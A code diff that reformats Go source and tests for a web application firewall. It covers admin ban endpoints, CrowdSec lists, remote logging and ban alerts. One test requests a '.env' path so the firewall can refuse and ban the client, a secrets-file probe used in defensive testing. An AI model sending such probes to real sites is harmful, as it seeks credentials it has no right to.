`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
`"type": "ban", "value": "203.0.113.0/24"}]`,
)
} }
})) }))
t.Cleanup(engine.Close) t.Cleanup(engine.Close)
@@ -889,11 +842,7 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
ban := onlyBan(t, dir) ban := onlyBan(t, dir)
if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" || if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" { ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
t.Errorf( t.Errorf("bans.json holds %v, want the ban for crowdsec on %s", ban, placed)
"bans.json holds %v, want the ban for crowdsec on %s",
ban,
placed,
)
} }
// Restarted with the engine down, the copy kept in lists.json bans // Restarted with the engine down, the copy kept in lists.json bans
@@ -922,10 +871,7 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
} }
if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) { if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
t.Errorf( t.Errorf("the key is shown in the output or the state and cache files:\n%s", all)
"the key is shown in the output or the state and cache files:\n%s",
all,
)
} }
} }
@@ -937,11 +883,7 @@ func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {
reputation, _ := line["reputation"].([]any) reputation, _ := line["reputation"].([]any)
if line["action"] != "client_denied" || len(reputation) != 1 || if line["action"] != "client_denied" || len(reputation) != 1 ||
reputation[0] != listURL { reputation[0] != listURL {
t.Errorf( t.Errorf("request log line %v, want one denied for %s", line, listURL)
"request log line %v, want one denied for %s",
line,
listURL,
)
} }
} }
@@ -976,11 +918,7 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) { func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
t.Parallel() t.Parallel()
endpoint, err := (&net.ListenConfig{}).Listen( endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -1035,11 +973,7 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
// The endpoint takes connections and never answers, so the TLS // The endpoint takes connections and never answers, so the TLS
// handshake of each waits on it, and no line is ever sent. // handshake of each waits on it, and no line is ever sent.
endpoint, err := (&net.ListenConfig{}).Listen( endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -1075,8 +1009,7 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
const dropped = "\nsww_remote_log_lines_dropped_total" + const dropped = "\nsww_remote_log_lines_dropped_total" +
`{instance="fsn1app1/blog"} ` `{instance="fsn1app1/blog"} `
if strings.Contains(metrics, dropped+"0\n") || if strings.Contains(metrics, dropped+"0\n") || !strings.Contains(metrics, dropped) {
!strings.Contains(metrics, dropped) {
t.Errorf("no line dropped in the metrics:\n%s", metrics) t.Errorf("no line dropped in the metrics:\n%s", metrics)
} }
@@ -1102,11 +1035,7 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
// too. // too.
line := out.line(t, "msg", "starting") line := out.line(t, "msg", "starting")
if line["instance"] != instance { if line["instance"] != instance {
t.Errorf( t.Errorf("start logged with instance %v, want %s", line["instance"], instance)
"start logged with instance %v, want %s",
line["instance"],
instance,
)
} }
} }
@@ -1137,14 +1066,10 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
wantRefused(t, url+".env") wantRefused(t, url+".env")
post := webhook.waitFor(t, "ban", true) post := webhook.waitFor(t, "ban", true)
if post.alert["client"] != localhost || if post.alert["client"] != localhost || post.alert["netblock"] != localhost+"/32" ||
post.alert["netblock"] != localhost+"/32" ||
post.authorization != "Bearer "+adminSecret { post.authorization != "Bearer "+adminSecret {
t.Errorf( t.Errorf("the webhook was sent %v, with Authorization %q", post.alert,
"the webhook was sent %v, with Authorization %q", post.authorization)
post.alert,
post.authorization,
)
} }
// The webhook fails, so the alert for the ban made permanent by the // The webhook fails, so the alert for the ban made permanent by the
@@ -1156,7 +1081,24 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
// alerts.json keeps it as sww stops, and once started again, // alerts.json keeps it as sww stops, and once started again,
// sww sends it. // sww sends it.
wantPermanentBanAlertWaiting(t, dir) var file struct {
Waiting map[string][]struct {
Event string `json:"event"`
} `json:"waiting"`
}
path := filepath.Join(dir, "alerts.json")
data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
if err == nil {
err = json.Unmarshal(data, &file)
}
waiting := file.Waiting["webhook"]
if err != nil || len(waiting) != 1 || waiting[0].Event != "permanent_ban" {
t.Fatalf("alerts.json holds %s (%v), want the permanent_ban alert waiting for "+
"the webhook", data, err)
}
// It counts the alert sent in the metrics, read here from a client the // It counts the alert sent in the metrics, read here from a client the
// ban does not cover. // ban does not cover.
@@ -1188,37 +1130,6 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
}) })
} }
// wantPermanentBanAlertWaiting checks that alerts.json in dir holds one
// alert waiting for the webhook, the permanent_ban alert.
func wantPermanentBanAlertWaiting(t *testing.T, dir string) {
t.Helper()
var file struct {
Waiting map[string][]struct {
Event string `json:"event"`
} `json:"waiting"`
}
path := filepath.Join(dir, "alerts.json")
//nolint:gosec // a file in the test's directory
data, err := os.ReadFile(path)
if err == nil {
err = json.Unmarshal(data, &file)
}
waiting := file.Waiting["webhook"]
if err != nil || len(waiting) != 1 ||
waiting[0].Event != "permanent_ban" {
t.Fatalf(
"alerts.json holds %s (%v), want the permanent_ban alert waiting for "+
"the webhook",
data,
err,
)
}
}
func TestBanIsAlertedToSlackAndNtfy(t *testing.T) { func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
t.Parallel() t.Parallel()
@@ -1256,8 +1167,7 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
slackPost := slack.firstPost(t) slackPost := slack.firstPost(t)
err := json.Unmarshal([]byte(slackPost.body), &message) err := json.Unmarshal([]byte(slackPost.body), &message)
if err != nil || if err != nil || !strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") ||
!strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") ||
!strings.Contains(message.Text, "\nclient: "+client+"\n") { !strings.Contains(message.Text, "\nclient: "+client+"\n") {
t.Errorf("Slack was sent %s", slackPost.body) t.Errorf("Slack was sent %s", slackPost.body)
} }
@@ -1292,22 +1202,14 @@ func TestStateFileThatDoesNotParseStopsTheStart(t *testing.T) {
dir := t.TempDir() dir := t.TempDir()
err := os.WriteFile( err := os.WriteFile(filepath.Join(dir, "bans.json"), []byte("{\n"), 0o600)
filepath.Join(dir, "bans.json"),
[]byte("{\n"),
0o600,
)
if err != nil { if err != nil {
t.Fatalf("write bans.json: %v", err) t.Fatalf("write bans.json: %v", err)
} }
// The file ends at the newline that is the second byte of its first // The file ends at the newline that is the second byte of its first
// line. // line.
wantStartRefused( wantStartRefused(t, dir, filepath.Join(dir, "bans.json")+", line 1, column 2: ")
t,
dir,
filepath.Join(dir, "bans.json")+", line 1, column 2: ",
)
} }
func TestUnwritableStateDirStopsTheStart(t *testing.T) { func TestUnwritableStateDirStopsTheStart(t *testing.T) {
@@ -1362,11 +1264,7 @@ func wantStartRefused(t *testing.T, dir, want string) {
message, _ := line["error"].(string) message, _ := line["error"].(string)
if !strings.HasPrefix(message, want) { if !strings.HasPrefix(message, want) {
t.Errorf( t.Errorf("start refused with %q, want an error starting %q", message, want)
"start refused with %q, want an error starting %q",
message,
want,
)
} }
} }
@@ -1431,11 +1329,7 @@ func runUntilStopped(
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Fatalf( t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
"exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Fatal("still running after being told to stop") t.Fatal("still running after being told to stop")
@@ -1477,12 +1371,7 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
for name, value := range want { for name, value := range want {
if settings[name] != value { if settings[name] != value {
t.Errorf( t.Errorf("starting line gives %s=%v, want %v", name, settings[name], value)
"starting line gives %s=%v, want %v",
name,
settings[name],
value,
)
} }
} }
@@ -1522,11 +1411,7 @@ func messages(t *testing.T, received string) []string {
_, message, ok := strings.Cut(record, header) _, message, ok := strings.Cut(record, header)
if !ok || !strings.HasPrefix(record, "<134>1 ") { if !ok || !strings.HasPrefix(record, "<134>1 ") {
t.Fatalf( t.Fatalf("record %q, want priority <134> and header %q", record, header)
"record %q, want priority <134> and header %q",
record,
header,
)
} }
found = append(found, message+"\n") found = append(found, message+"\n")
@@ -1591,10 +1476,7 @@ func seriesValue(t *testing.T, metrics, series string) float64 {
t.Helper() t.Helper()
for line := range strings.Lines(metrics) { for line := range strings.Lines(metrics) {
value, found := strings.CutPrefix( value, found := strings.CutPrefix(strings.TrimSpace(line), series+" ")
strings.TrimSpace(line),
series+" ",
)
if !found { if !found {
continue continue
} }
@@ -1628,11 +1510,7 @@ func writeLookupDatabase(t *testing.T, path, country string) {
t.Helper() t.Helper()
lookuptest.Write(t, path, map[string]lookuptest.Network{ lookuptest.Write(t, path, map[string]lookuptest.Network{
placed + "/32": { placed + "/32": {ASN: "AS64496", ASName: "Example Net", Country: country},
ASN: "AS64496",
ASName: "Example Net",
Country: country,
},
}) })
} }
@@ -1670,8 +1548,7 @@ func onlyBan(t *testing.T, dir string) map[string]any {
path := filepath.Join(dir, "bans.json") path := filepath.Join(dir, "bans.json")
//nolint:gosec // a file in the test's directory data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
data, err := os.ReadFile(path)
if err != nil { if err != nil {
t.Fatalf("read bans.json: %v", err) t.Fatalf("read bans.json: %v", err)
} }
@@ -1713,11 +1590,7 @@ func wantStatus(t *testing.T, url, from string, status int) {
// request, since sww may not watch its directory yet when it is // request, since sww may not watch its directory yet when it is
// first written. It waits as long as that takes, so that a slow test // first written. It waits as long as that takes, so that a slow test
// process cannot fail the test. // process cannot fail the test.
func saveUntilAnswered( func saveUntilAnswered(t *testing.T, path, content, url, from string, status int) {
t *testing.T,
path, content, url, from string,
status int,
) {
t.Helper() t.Helper()
for { for {
@@ -1849,11 +1722,7 @@ func startWebhook(t *testing.T) *webhook {
// waitFor waits until the webhook has been sent an alert for event that // waitFor waits until the webhook has been sent an alert for event that
// it took, or, unless answered, failed, and returns it. It waits as long // it took, or, unless answered, failed, and returns it. It waits as long
// as that takes, so that a slow test process cannot fail the test. // as that takes, so that a slow test process cannot fail the test.
func (w *webhook) waitFor( func (w *webhook) waitFor(t *testing.T, event string, answered bool) webhookPost {
t *testing.T,
event string,
answered bool,
) webhookPost {
t.Helper() t.Helper()
for { for {
+7 -27
View File
@@ -14,7 +14,6 @@ import (
"syscall" "syscall"
"testing" "testing"
"time" "time"
// The time zone database, so that the process TestMainRunsWAF starts // The time zone database, so that the process TestMainRunsWAF starts
// finds the zone TZ names on any host. // finds the zone TZ names on any host.
_ "time/tzdata" _ "time/tzdata"
@@ -86,8 +85,7 @@ func TestMainRunsWAF(t *testing.T) {
dir := t.TempDir() dir := t.TempDir()
out := &output{} out := &output{}
//nolint:gosec // this test binary cmd := exec.CommandContext(t.Context(), binary) //nolint:gosec // this test binary
cmd := exec.CommandContext(t.Context(), binary)
cmd.Stdout = out cmd.Stdout = out
cmd.Env = append(os.Environ(), cmd.Env = append(os.Environ(),
@@ -114,11 +112,7 @@ func TestMainRunsWAF(t *testing.T) {
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Fatalf( t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
"exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Fatal("still running after being told to stop") t.Fatal("still running after being told to stop")
@@ -129,8 +123,7 @@ func TestMainRunsWAF(t *testing.T) {
path := filepath.Join(dir, "clients.json") path := filepath.Join(dir, "clients.json")
//nolint:gosec // a file in the test's directory clients, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
clients, err := os.ReadFile(path)
if err != nil { if err != nil {
t.Fatalf("read clients.json: %v", err) t.Fatalf("read clients.json: %v", err)
} }
@@ -188,11 +181,7 @@ func TestMainWithoutACommandItKnowsPrintsTheCommands(t *testing.T) {
for _, name := range []string{"rproxy", wafCommand, "healthcheck"} { for _, name := range []string{"rproxy", wafCommand, "healthcheck"} {
if !strings.Contains(stderr.String(), name) { if !strings.Contains(stderr.String(), name) {
t.Errorf( t.Errorf("stderr %q does not name %s", stderr.String(), name)
"stderr %q does not name %s",
stderr.String(),
name,
)
} }
} }
@@ -230,13 +219,8 @@ func ask(t *testing.T, addr, path string, status int, disposition string) {
if res.StatusCode != status || if res.StatusCode != status ||
res.Header.Get(waf.DispositionHeader) != disposition { res.Header.Get(waf.DispositionHeader) != disposition {
t.Errorf( t.Errorf("answered %d with disposition %q, want %d with %q", res.StatusCode,
"answered %d with disposition %q, want %d with %q", res.Header.Get(waf.DispositionHeader), status, disposition)
res.StatusCode,
res.Header.Get(waf.DispositionHeader),
status,
disposition,
)
} }
} }
@@ -261,11 +245,7 @@ func runWAF(t *testing.T, env map[string]string, use func(addr string)) {
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Fatalf( t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
"exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Fatal("still running after being told to stop") t.Fatal("still running after being told to stop")
+3 -12
View File
@@ -26,11 +26,7 @@ type abuseIPDB struct{}
func (abuseIPDB) name() string { return "abuseipdb" } func (abuseIPDB) name() string { return "abuseipdb" }
func (abuseIPDB) check( func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
ctx context.Context,
rq *request,
_ time.Time,
) *verdict {
if rq.h.config.AbuseIPDBKey == "" { if rq.h.config.AbuseIPDBKey == "" {
return nil return nil
} }
@@ -46,13 +42,8 @@ func (abuseIPDB) check(
rq.abuseIPDBHit = true rq.abuseIPDBHit = true
rq.addTag(config.AbuseIPDBTag) rq.addTag(config.AbuseIPDBTag)
rq.noteHit( rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
bans.ReputationHit{ "scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE")
Source: reputation.AbuseIPDBSource,
Score: &score,
},
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE",
)
if rq.h.config.ReputationAction != deny { if rq.h.config.ReputationAction != deny {
return nil return nil
+11 -47
View File
@@ -31,8 +31,7 @@ var (
errNotBanToAdd = errors.New( errNotBanToAdd = errors.New(
"the body is not a JSON object of netblock, duration and reason") "the body is not a JSON object of netblock, duration and reason")
errNotNetblock = errors.New( errNotNetblock = errors.New(
"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24", "is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24")
)
errMappedNetblock = errors.New( errMappedNetblock = errors.New(
"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24") "is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
errZone = errors.New("has a zone, which a netblock cannot have") errZone = errors.New("has a zone, which a netblock cannot have")
@@ -62,18 +61,10 @@ func (rq *request) answerAdmin() {
switch { switch {
case token == "": case token == "":
http.Error( http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
rq.out,
http.StatusText(http.StatusNotFound),
http.StatusNotFound,
)
case !hasToken(rq.in, token): case !hasToken(rq.in, token):
rq.out.Header().Set("WWW-Authenticate", "Bearer") rq.out.Header().Set("WWW-Authenticate", "Bearer")
http.Error( http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
rq.out,
http.StatusText(http.StatusUnauthorized),
http.StatusUnauthorized,
)
default: default:
answer() answer()
} }
@@ -159,9 +150,7 @@ func (rq *request) addBan() {
// readBanToAdd reads the body of POST BansPath: a JSON object with // readBanToAdd reads the body of POST BansPath: a JSON object with
// nothing but whitespace after it, in at most banBodyMaxBytes. // nothing but whitespace after it, in at most banBodyMaxBytes.
func (rq *request) readBanToAdd() (banToAdd, error) { func (rq *request) readBanToAdd() (banToAdd, error) {
data, err := io.ReadAll( data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes),
)
rq.requestBytes = int64(len(data)) rq.requestBytes = int64(len(data))
if err != nil { if err != nil {
@@ -181,10 +170,7 @@ func (rq *request) readBanToAdd() (banToAdd, error) {
// Token returns io.EOF only when nothing but whitespace is left. // Token returns io.EOF only when nothing but whitespace is left.
_, err = decoder.Token() _, err = decoder.Token()
if !errors.Is(err, io.EOF) { if !errors.Is(err, io.EOF) {
return banToAdd{}, fmt.Errorf( return banToAdd{}, fmt.Errorf("%w: more follows the object", errNotBanToAdd)
"%w: more follows the object",
errNotBanToAdd,
)
} }
return toAdd, nil return toAdd, nil
@@ -199,11 +185,7 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
netblock, err := netip.ParsePrefix(value) netblock, err := netip.ParsePrefix(value)
if err == nil { if err == nil {
if netblock.Addr().Is4In6() { if netblock.Addr().Is4In6() {
return netip.Prefix{}, fmt.Errorf( return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errMappedNetblock)
"netblock %q %w",
value,
errMappedNetblock,
)
} }
return netblock, nil return netblock, nil
@@ -213,11 +195,7 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
// 2001:db8::1%x/48 as part of the zone. // 2001:db8::1%x/48 as part of the zone.
addr, err := netip.ParseAddr(value) addr, err := netip.ParseAddr(value)
if err != nil { if err != nil {
return netip.Prefix{}, fmt.Errorf( return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errNotNetblock)
"netblock %q %w",
value,
errNotNetblock,
)
} }
if addr.Zone() != "" { if addr.Zone() != "" {
@@ -236,11 +214,7 @@ func expiry(duration string, now time.Time) (time.Time, error) {
length, err := config.ParseDurationNotOff(duration) length, err := config.ParseDurationNotOff(duration)
if err != nil { if err != nil {
return time.Time{}, fmt.Errorf( return time.Time{}, fmt.Errorf("duration %q %w", duration, errNotDuration)
"duration %q %w",
duration,
errNotDuration,
)
} }
return now.Add(length), nil return now.Add(length), nil
@@ -259,11 +233,7 @@ func (rq *request) liftBans() {
lifted := rq.h.ledger.Lift(client, rq.h.now()) lifted := rq.h.ledger.Lift(client, rq.h.now())
if len(lifted) == 0 { if len(lifted) == 0 {
http.Error( http.Error(rq.out, "no ban is active on "+client.String(), http.StatusNotFound)
rq.out,
"no ban is active on "+client.String(),
http.StatusNotFound,
)
return return
} }
@@ -291,9 +261,7 @@ func (rq *request) showClient() {
return return
} }
answer := clientAnswer{ answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
Bans: state.BanEntries(rq.h.ledger.Covering(addr)),
}
client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr)) client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
if seen { if seen {
@@ -326,11 +294,7 @@ func (rq *request) answerBans(held []bans.Ban) {
func (rq *request) answerJSON(value any) { func (rq *request) answerJSON(value any) {
body, err := json.MarshalIndent(value, "", " ") body, err := json.MarshalIndent(value, "", " ")
if err != nil { if err != nil {
rq.h.processLog.Error( rq.h.processLog.Error("encoding an answer failed", "error", err.Error())
"encoding an answer failed",
"error",
err.Error(),
)
http.Error(rq.out, http.StatusText(http.StatusInternalServerError), http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
http.StatusInternalServerError) http.StatusInternalServerError)
+26 -112
View File
@@ -32,37 +32,20 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
t.Parallel() t.Parallel()
// The metrics token is set, and opens none of them. // The metrics token is set, and opens none of them.
s, clk, server := startWithClock( s, clk, server := startWithClock(t, "", map[string]string{metricsToken: token})
t, server.Ledger.BanForLimit(netip.MustParsePrefix(otherClient+"/32"), clk.Now(),
"", bans.Notes{})
map[string]string{metricsToken: token},
)
server.Ledger.BanForLimit(
netip.MustParsePrefix(otherClient+"/32"),
clk.Now(),
bans.Notes{},
)
before := server.Ledger.Snapshot() before := server.Ledger.Snapshot()
// An empty token does not match the unset one either. // An empty token does not match the unset one either.
for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} { for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
for _, e := range adminEndpoints() { for _, e := range adminEndpoints() {
s.ownEndpointRequest( s.ownEndpointRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
authorization,
e.method,
e.path,
e.body,
http.StatusNotFound,
)
} }
} }
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) { if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
t.Errorf( t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
"the bans are now\n%+v\nwant them unchanged\n%+v",
after,
before,
)
} }
} }
@@ -84,44 +67,22 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
for _, authorization := range []string{ for _, authorization := range []string{
"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret, "", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
} { } {
got := s.ownEndpointRequest( got := s.ownEndpointRequest(authorization, e.method, e.path, e.body,
authorization, http.StatusUnauthorized)
e.method,
e.path,
e.body,
http.StatusUnauthorized,
)
if got.header.Get("WWW-Authenticate") != "Bearer" { if got.header.Get("WWW-Authenticate") != "Bearer" {
t.Errorf( t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
"%s %s with %q was answered without WWW-Authenticate: Bearer", e.method, e.path, authorization)
e.method,
e.path,
authorization,
)
} }
} }
if after := server.Ledger.Snapshot(); !reflect.DeepEqual( if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
after, t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
before, e.method, e.path, after, before)
) {
t.Errorf(
"%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
e.method,
e.path,
after,
before,
)
} }
got := s.admin(e.method, e.path, e.body, http.StatusOK) got := s.admin(e.method, e.path, e.body, http.StatusOK)
if got.header.Get("Content-Type") != "application/json" { if got.header.Get("Content-Type") != "application/json" {
t.Errorf( t.Errorf("%s %s answered %q", e.method, e.path, got.header.Get("Content-Type"))
"%s %s answered %q",
e.method,
e.path,
got.header.Get("Content-Type"),
)
} }
} }
@@ -160,11 +121,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient, wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient,
http.StatusOK), want) http.StatusOK), want)
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
if line.BanExpires != requestlog.FormatTime(expires) { if line.BanExpires != requestlog.FormatTime(expires) {
t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires) t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
} }
@@ -172,11 +129,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
// Its notes count the request it refused. // Its notes count the request it refused.
want.Notes.Requests, want.Notes.Refused = 1, 1 want.Notes.Requests, want.Notes.Refused = 1, 1
wantBans( wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
t,
s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
want,
)
// Ten minutes on, lifting the bans on client lifts that one, which is // Ten minutes on, lifting the bans on client lifts that one, which is
// kept, marked lifted. // kept, marked lifted.
@@ -188,19 +141,10 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "", wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "",
http.StatusOK), want) http.StatusOK), want)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
wantBans( wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
t,
s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
want,
)
// No ban on it is active any more. // No ban on it is active any more.
s.admin( s.admin(http.MethodDelete, waf.BansPath+"/"+client, "", http.StatusNotFound)
http.MethodDelete,
waf.BansPath+"/"+client,
"",
http.StatusNotFound,
)
} }
func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) { func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
@@ -229,9 +173,7 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` + body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
"\r\n" "\r\n"
want := state.BanEntry{ want := state.BanEntry{
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix(tc.want), Start: start, Cause: bans.CauseAdmin,
tc.want,
), Start: start, Cause: bans.CauseAdmin,
} }
if tc.length != 0 { if tc.length != 0 {
@@ -239,22 +181,15 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
want.Expires = &expires want.Expires = &expires
} }
wantBans( wantBans(t, s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
t, want)
s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
want,
)
} }
} }
func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) { func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server := startWithClock( s, _, server := startWithClock(t, "", map[string]string{adminToken: adminSecret})
t,
"",
map[string]string{adminToken: adminSecret},
)
for _, tc := range []struct{ body, want string }{ for _, tc := range []struct{ body, want string }{
{"", "the body is not a JSON object of netblock, duration and reason: EOF"}, {"", "the body is not a JSON object of netblock, duration and reason: EOF"},
@@ -319,12 +254,7 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
got := s.admin(http.MethodPost, waf.BansPath, tc.body, got := s.admin(http.MethodPost, waf.BansPath, tc.body,
http.StatusBadRequest) http.StatusBadRequest)
if !strings.Contains(string(got.body), tc.want) { if !strings.Contains(string(got.body), tc.want) {
t.Errorf( t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
"%.80s was answered %q, want it to say %q",
tc.body,
got.body,
tc.want,
)
} }
} }
@@ -346,11 +276,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
// limit of two a minute, and bans it. // limit of two a minute, and bans it.
s.get(otherClient, http.StatusOK, requestlog.ActionForward) s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusOK, requestlog.ActionForward) s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get( s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
otherClient,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
// Asked about by its address in IPv6 form too. // Asked about by its address in IPv6 form too.
for _, addr := range []string{otherClient, "::ffff:" + otherClient} { for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
@@ -376,11 +302,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit || if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
got.Bans[0].Reason != "requests per minute over the limit of 2" || got.Bans[0].Reason != "requests per minute over the limit of 2" ||
got.Bans[0].Notes.Count != 3 { got.Bans[0].Notes.Count != 3 {
t.Errorf( t.Errorf("%s: bans %+v, want the one for the broken limit", addr, got.Bans)
"%s: bans %+v, want the one for the broken limit",
addr,
got.Bans,
)
} }
} }
@@ -388,9 +310,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
// known. // known.
got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "", got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "",
http.StatusOK) http.StatusOK)
if string( if string(got.body) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
got.body,
) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
t.Errorf("an unknown client is answered\n%s", got.body) t.Errorf("an unknown client is answered\n%s", got.body)
} }
@@ -409,13 +329,7 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
}) })
for _, e := range adminEndpoints() { for _, e := range adminEndpoints() {
s.ownEndpointRequest( s.ownEndpointRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
"",
e.method,
e.path,
e.body,
http.StatusUnauthorized,
)
} }
if held := server.Ledger.Snapshot(); len(held) != 0 { if held := server.Ledger.Snapshot(); len(held) != 0 {
+20 -85
View File
@@ -46,10 +46,7 @@ func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
